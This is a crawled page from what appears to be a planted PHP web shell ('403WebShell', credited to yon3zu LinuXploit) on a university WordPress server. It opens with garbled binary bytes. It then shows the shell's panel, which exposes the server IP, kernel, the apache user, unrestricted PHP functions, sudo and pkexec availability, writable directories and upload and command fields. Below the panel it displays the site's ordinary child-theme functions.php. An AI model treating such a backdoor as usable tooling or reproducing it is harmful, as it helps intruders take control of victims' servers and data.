h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/skruarchives/wp-content/themes/storement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/skruarchives/wp-content/themes/storement//functions.php
<?php
/*This file is part of storement child theme.

All functions of this file will be loaded before of parent theme functions.
Learn more at https://codex.wordpress.org/Child_Themes.

Note: this function loads the parent stylesheet before, then child theme stylesheet
(leave it in place unless you know what you are doing.)
*/

function storement_enqueue_child_styles()
{
    $min = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? '' : '.min';
    $parent_style = 'shopical-style';
    $parent_woocommerce_style = 'shopical-woocommerce-style';

    $fonts_url = 'https://fonts.googleapis.com/css?family=Roboto:100,300,400,500,700';
    wp_enqueue_style('storement-google-fonts', $fonts_url, array(), null);

    wp_enqueue_style('bootstrap', get_template_directory_uri() . '/assets/bootstrap/css/bootstrap' . $min . '.css');

    wp_enqueue_style('owl-carousel', get_template_directory_uri() . '/assets/owl-carousel-v2/assets/owl.carousel' . $min . '.css');
    wp_enqueue_style('owl-theme-default', get_template_directory_uri() . '/assets/owl-carousel-v2/assets/owl.theme.default.css');
    /**
     * Load WooCommerce compatibility file.
     */
    if (class_exists('WooCommerce')) {
        wp_enqueue_style($parent_woocommerce_style, get_template_directory_uri() . '/woocommerce.css');

        $font_path = WC()->plugin_url() . '/assets/fonts/';
        $inline_font = '@font-face {
			font-family: "star";
			src: url("' . $font_path . 'star.eot");
			src: url("' . $font_path . 'star.eot?#iefix") format("embedded-opentype"),
				url("' . $font_path . 'star.woff") format("woff"),
				url("' . $font_path . 'star.ttf") format("truetype"),
				url("' . $font_path . 'star.svg#star") format("svg");
			font-weight: normal;
			font-style: normal;
		}';

        wp_add_inline_style($parent_woocommerce_style, $inline_font);
    }
    wp_enqueue_style($parent_style, get_template_directory_uri() . '/style.css');
    wp_enqueue_style(
        'storement-style',
        get_stylesheet_directory_uri() . '/style.css',
        array('bootstrap', $parent_style, $parent_woocommerce_style),
        wp_get_theme()->get('Version'));


}

add_action('wp_enqueue_scripts', 'storement_enqueue_child_styles');

/**
 * Add postMessage support for site title and description for the Theme Customizer.
 *
 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
 */
function storement_customize_register($wp_customize)
{
    $wp_customize->get_setting('main_navigation_background_color')->default = '#3b496c';


}

add_action('customize_register', 'storement_customize_register', 99999);

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function storement_widgets_init()
{
    register_sidebar(array(
        'name' => esc_html__('Above Footer Section', 'storement'),
        'id' => 'above-footer-section',
        'description' => esc_html__('Add widgets to above footer section.', 'storement'),
        'before_widget' => '<div id="%1$s" class="widget shopical-widget %2$s">',
        'after_widget' => '</div>',
        'before_title' => '<h2 class="widget-title widget-title-1"><span>',
        'after_title' => '</span></h2>',
    ));
}

add_action('widgets_init', 'storement_widgets_init', 11);

/*Add the demo file*/
function storement_add_demo_files($demos)
{
    $demos[] = array(
        'import_file_name' => esc_html__('Child - Storement', 'storement'),
        'local_import_file' => trailingslashit(get_stylesheet_directory()) . 'demo-content/storement/shopical.xml',
        'local_import_widget_file' => trailingslashit(get_stylesheet_directory()) . 'demo-content/storement/shopical.wie',
        'local_import_customizer_file' => trailingslashit(get_stylesheet_directory()) . 'demo-content/storement/shopical.dat',
        'import_preview_image_url' => trailingslashit(get_stylesheet_directory_uri()) . 'demo-content/assets/shopical-storement.jpg',
        'preview_url' => 'https://demo.afthemes.com/shopical/storement',
    );
    return $demos;
}

add_filter('aft_demo_import_files', 'storement_add_demo_files');

Youez - 2016 - github.com/yon3zu
LinuXploit